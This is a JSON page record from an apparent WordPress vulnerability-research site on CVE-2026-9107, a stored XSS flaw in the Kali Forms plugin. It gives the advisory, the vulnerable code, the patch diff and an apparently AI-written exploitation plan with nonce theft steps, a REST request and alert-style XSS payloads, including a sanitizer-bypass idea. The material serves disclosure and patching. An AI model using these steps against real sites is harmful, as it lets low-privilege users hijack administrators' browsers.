[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fy-U2W_oweNlgwsFEsyy0jw9xnVv6rAYhMmaPKCruHrY":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":28,"research_verified":29,"research_rounds_completed":30,"research_plan":31,"research_summary":32,"research_vulnerable_code":33,"research_fix_diff":34,"research_exploit_outline":35,"research_model_used":36,"research_started_at":37,"research_completed_at":38,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":29,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":29,"source_links":39},"CVE-2026-9107","kali-forms-authenticated-contributor-stored-cross-site-scripting-via-kaliformsfieldcomponents-parameter","Kali Forms \u003C= 2.4.13 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'kaliforms_field_components' Parameter","The Kali Forms — Contact Form & Drag-and-Drop Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'meta[kaliforms_field_components]' parameter in all versions up to, and including, 2.4.13 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.","kali-forms",null,"\u003C=2.4.13","2.4.14","medium",6.4,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2026-06-30 15:03:16","2026-07-01 03:43:35",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F3d81e41d-e62c-49d7-bba5-6a2a0a586c84?source=api-prod",1,[22,23,24,25,26,27],"Inc\u002FBackend\u002Fclass-js-vars.php","Inc\u002FBackend\u002Fclass-sanitizers.php","Inc\u002Fclass-kaliforms.php","README.txt","bootstrap.php","kali-forms.php","researched",false,3,"This research plan outlines the steps to investigate and exploit **CVE-2026-9107**, a Stored Cross-Site Scripting (XSS) vulnerability in the **Kali Forms** plugin for WordPress.\n\n---\n\n### 1. Vulnerability Summary\n*   **Vulnerability:** Stored Cross-Site Scripting (XSS).\n*   **Location:** `Inc\u002FBackend\u002Fclass-sanitizers.php` within the `sanitize_field_components` and `sanitize_properties_object` functions.\n*   **Cause:** The plugin fails to adequately sanitize or escape JSON-encoded form field configuration data (specifically the `kaliforms_field_components` meta) before storing it in the database and rendering it in the backend form builder.\n*   **Impact:** An attacker with Contributor-level access can inject malicious scripts into form configurations. These scripts execute in the context of any user (including Administrators) who opens the form for editing in the backend.\n\n### 2. Attack Vector Analysis\n*   **Endpoint:** WordPress REST API (likely via `Forms_Rest_Controller`) or `admin-ajax.php`.\n*   **Authentication:** Required (Contributor-level or higher).\n*   **Vulnerable Parameter:** `meta[kaliforms_field_components]` (or a parameter mapping to this meta key).\n*   **Payload Type:** JSON-encoded array containing HTML\u002FJS injection in field properties or labels.\n\n### 3. Code Flow\n1.  **Entry Point:** The form builder sends a request to save form data. This likely hits `Inc\u002FBackend\u002FRest\u002FForms_Rest_Controller.php` (registered in `Inc\u002Fclass-kaliforms.php`).\n2.  **Sanitization:** The data passes through `Inc\u002FBackend\u002Fclass-sanitizers.php`.\n    *   `sanitize_field_components($input)` decodes the JSON.\n    *   `sanitize_field_component($item)` calls `sanitize_properties_object`.\n    *   **Vulnerability:** In `sanitize_properties_object`, while specific keys like `price` or `products` are sanitized, others may be stored with insufficient filtering or the `sanitize_text_field` application is bypassed through complex object nesting.\n3.  **Storage:** The sanitized data is stored via `wp_slash(wp_json_encode($sanitized, JSON_HEX_QUOT))`.\n4.  **Retrieval & Rendering:**\n    *   `Inc\u002FBackend\u002Fclass-js-vars.php` retrieves the meta: `$this->content['fieldComponents'] = json_decode($this->get('field_components', '[]'), false, 512, JSON_HEX_QUOT);`.\n    *   The data is localized into the `kaliforms_vars` (or similar) JS object.\n    *   The React-based backend builder renders these components. If a component label or property is rendered using `dangerouslySetInnerHTML` or similar unescaped methods, the XSS triggers.\n\n### 4. Nonce Acquisition Strategy\nThe plugin uses a nonce for its backend operations.\n*   **Action String:** `kaliforms_nonce` (defined in `JS_Vars` as `$this->slug . '_nonce'`).\n*   **JS Variable:** `kaliforms_vars` (inferred from class and slug names).\n*   **Nonce Key:** `ajax_nonce`.\n\n**Acquisition Steps:**\n1.  Create a form as a Contributor to ensure the builder scripts are active.\n2.  Navigate to the Kali Forms editor: `\u002Fwp-admin\u002Fedit.php?post_type=kaliforms_forms&page=kaliforms-builder&id=[FORM_ID]`.\n3.  Execute in browser: `browser_eval(\"window.kaliforms_vars?.ajax_nonce\")`.\n\n### 5. Test Data Setup\n1.  **User:** Create a user with the `contributor` role.\n2.  **Form:** Create a new form using Kali Forms.\n    *   `wp post create --post_type=kaliforms_forms --post_title=\"XSS Test Form\" --post_status=publish --post_author=[CONTRIBUTOR_ID]`\n3.  **Identify Post ID:** Note the ID of the created form.\n\n### 6. Exploitation Strategy\n\n**Step 1: Obtain the Nonce**\nUse the `browser_navigate` tool to go to the Kali Forms admin list or builder page as the contributor. Extract the nonce from `kaliforms_vars`.\n\n**Step 2: Prepare Payload**\nThe payload must be a JSON array representing the field components. We will target the `label` or a property that might be rendered without escaping.\n```json\n[\n  {\n    \"id\": \"text\",\n    \"internalId\": \"text_field_1\",\n    \"label\": \"First Name \u003Cimg src=x onerror=alert(document.domain)>\",\n    \"properties\": {\n      \"placeholder\": \"Enter name\",\n      \"description\": \"\u003Cscript>alert('DescriptionXSS')\u003C\u002Fscript>\"\n    },\n    \"constraint\": \"none\"\n  }\n]\n```\n\n**Step 3: Submit the Injection**\nSend a POST request to the REST API endpoint (verify the exact route in `Forms_Rest_Controller.php`, likely `\u002Fwp-json\u002Fkf\u002Fv1\u002Fforms\u002F[ID]`).\n\n*   **URL:** `http:\u002F\u002F[TARGET]\u002Fwp-json\u002Fkf\u002Fv1\u002Fforms\u002F[FORM_ID]`\n*   **Method:** `POST` (or `PUT` depending on REST implementation)\n*   **Headers:**\n    *   `Content-Type: application\u002Fjson`\n    *   `X-WP-Nonce: [EXTRACTED_NONCE]`\n*   **Body:**\n```json\n{\n  \"field_components\": \"[{\\\"id\\\":\\\"text\\\",\\\"label\\\":\\\"\u003Cimg src=x onerror=alert(1)>\\\",\\\"properties\\\":{\\\"placeholder\\\":\\\"test\\\"}}]\"\n}\n```\n\n### 7. Expected Results\n*   The REST API returns a `200 OK` or `201 Created` response.\n*   The `kaliforms_field_components` entry in the `wp_postmeta` table for the specific Form ID now contains the unescaped `\u003Cimg src=x onerror=alert(1)>` string.\n*   When an Administrator logs in and navigates to the Kali Forms builder for that specific form, the browser executes `alert(1)`.\n\n### 8. Verification Steps\n1.  **Check Database Meta:**\n    `wp post meta get [FORM_ID] kaliforms_field_components`\n    Confirm the payload is stored literally without being stripped to `First Name`.\n2.  **Verify Execution:**\n    Use `browser_navigate` as an **Administrator** to the form builder page:\n    `\u002Fwp-admin\u002Fedit.php?post_type=kaliforms_forms&page=kaliforms-builder&id=[FORM_ID]`\n    Observe if the `alert` or `onerror` event triggers.\n\n### 9. Alternative Approaches\nIf the REST API is restricted:\n*   **AJAX Entry Point:** Look for `wp_ajax_kaliforms_save_form` in `Inc\u002FBackend\u002FHooks.php`.\n*   **Payload Variation:** If `label` is sanitized by `sanitize_text_field`, inject into `properties` (e.g., `placeholder` or a custom property key) which `sanitize_properties_object` might iterate over without specific sanitization logic.\n*   **JSON Encoding:** The plugin uses `JSON_HEX_QUOT`. Attempt to bypass sanitization by using Unicode escapes (e.g., `\\u003cimg ... \\u003e`) if the PHP `json_decode` handles them but the regex-based sanitizers do not.","The Kali Forms plugin for WordPress is vulnerable to Authenticated Stored Cross-Site Scripting via the 'kaliforms_field_components' parameter in versions up to 2.4.13. This occurs because the plugin does not sufficiently sanitize or escape JSON-encoded form field configuration data before storing it in the database and rendering it in the backend form builder, allowing users with contributor-level permissions or higher to inject malicious scripts.","\u002F\u002F Inc\u002FBackend\u002Fclass-sanitizers.php @ 2.4.13\n\n\t\u002F**\n\t * @param $input\n\t *\n\t * @return false|string\n\t *\u002F\n\tpublic static function sanitize_field_components($input)\n\t{\n\t\t$input = json_decode(stripslashes($input));\n\t\tif (null === $input) {\n\t\t\treturn wp_json_encode([]);\n\t\t}\n\n\t\t$sanitized = [];\n\t\tforeach ($input as $field) {\n\t\t\t$sanitized[] = Sanitizers::sanitize_field_component($field);\n\t\t}\n\n\t\treturn wp_slash(wp_json_encode($sanitized, JSON_HEX_QUOT));\n\t}\n\n---\n\n\u002F\u002F Inc\u002FBackend\u002Fclass-sanitizers.php @ 2.4.13\n\n\t\u002F**\n\t * @param $item\n\t *\n\t * @return \\stdClass\n\t *\u002F\n\tpublic static function sanitize_field_component($item)\n\t{\n\t\t$fieldItem             = new \\stdClass();\n\t\t$fieldItem->id         = sanitize_text_field($item->id);\n\t\t$fieldItem->internalId = sanitize_key($item->internalId);\n\t\t$fieldItem->label      = sanitize_text_field($item->label);\n\t\t$fieldItem->properties = Sanitizers::sanitize_properties_object($item->properties, $item->id);\n\t\t$fieldItem->constraint = empty($item->constraint) ? 'none' : absint($item->constraint);\n\t\treturn $fieldItem;\n\t}","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fkali-forms\u002F2.4.13\u002FInc\u002FBackend\u002Fclass-js-vars.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fkali-forms\u002F2.4.14\u002FInc\u002FBackend\u002Fclass-js-vars.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fkali-forms\u002F2.4.13\u002FInc\u002FBackend\u002Fclass-js-vars.php\t2025-02-24 08:56:20.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fkali-forms\u002F2.4.14\u002FInc\u002FBackend\u002Fclass-js-vars.php\t2026-06-15 08:15:42.000000000 +0000\n@@ -109,11 +109,16 @@\n \t\t\u002F**\n \t\t * Grid content\n \t\t *\u002F\n-\t\t$this->content['grid'] = json_decode($this->get('grid', '[]'));\n+\t\t$this->content['grid'] = Sanitizers::decode_json_meta($this->get('grid', '[]'));\n \t\t\u002F**\n \t\t * Field components saved in the database\n \t\t *\u002F\n-\t\t$this->content['fieldComponents'] = json_decode($this->get('field_components', '[]'), false, 512, JSON_HEX_QUOT);\n+\t\t$this->content['fieldComponents'] = Sanitizers::decode_json_meta(\n+\t\t\t$this->get('field_components', '[]'),\n+\t\t\tfalse,\n+\t\t\t512,\n+\t\t\tJSON_HEX_QUOT\n+\t\t);\n \t\t\u002F**\n \t\t * Form Info Fields\n \t\t *\u002F\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fkali-forms\u002F2.4.13\u002FInc\u002FBackend\u002Fclass-sanitizers.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fkali-forms\u002F2.4.14\u002FInc\u002FBackend\u002Fclass-sanitizers.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fkali-forms\u002F2.4.13\u002FInc\u002FBackend\u002Fclass-sanitizers.php\t2026-01-08 10:05:42.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fkali-forms\u002F2.4.14\u002FInc\u002FBackend\u002Fclass-sanitizers.php\t2026-06-15 08:15:42.000000000 +0000\n@@ -207,8 +450,8 @@\n \t *\u002F\n \tpublic static function sanitize_field_components($input)\n \t{\n-\t\t$input = json_decode(stripslashes($input));\n-\t\tif (null === $input) {\n+\t\t$input = self::decode_json_meta($input);\n+\t\tif (! is_array($input)) {\n \t\t\treturn wp_json_encode([]);\n \t\t}\n \n@@ -217,7 +460,7 @@\n \t\t\t$sanitized[] = Sanitizers::sanitize_field_component($field);\n \t\t}\n \n-\t\treturn wp_slash(wp_json_encode($sanitized, JSON_HEX_QUOT));\n+\t\treturn wp_json_encode($sanitized, JSON_HEX_QUOT);\n \t}","To exploit this vulnerability, an attacker with Contributor-level access or higher must obtain a valid security nonce from the Kali Forms backend builder interface (available in the 'kaliforms_vars' JavaScript object). Using this nonce, the attacker makes a POST request to the plugin's REST API endpoint (typically `\u002Fwp-json\u002Fkf\u002Fv1\u002Fforms\u002F{ID}`) to update form data. The payload is placed inside the 'field_components' parameter as a JSON array representing form fields. By including malicious scripts in unvalidated properties (such as placeholders or descriptions within the 'properties' object), the attacker stores the XSS in the database. The script executes when an administrator or other backend user opens the form builder for the affected form, as the React-based frontend renders these properties without adequate escaping.","gemini-3-flash-preview","2026-07-25 13:09:49","2026-07-25 13:10:46",{"type":40,"vulnerable_version":41,"fixed_version":11,"vulnerable_browse":42,"vulnerable_zip":43,"fixed_browse":44,"fixed_zip":45,"all_tags":46},"plugin","2.4.13","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fkali-forms\u002Ftags\u002F2.4.13","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fkali-forms.2.4.13.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fkali-forms\u002Ftags\u002F2.4.14","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fkali-forms.2.4.14.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fkali-forms\u002Ftags"]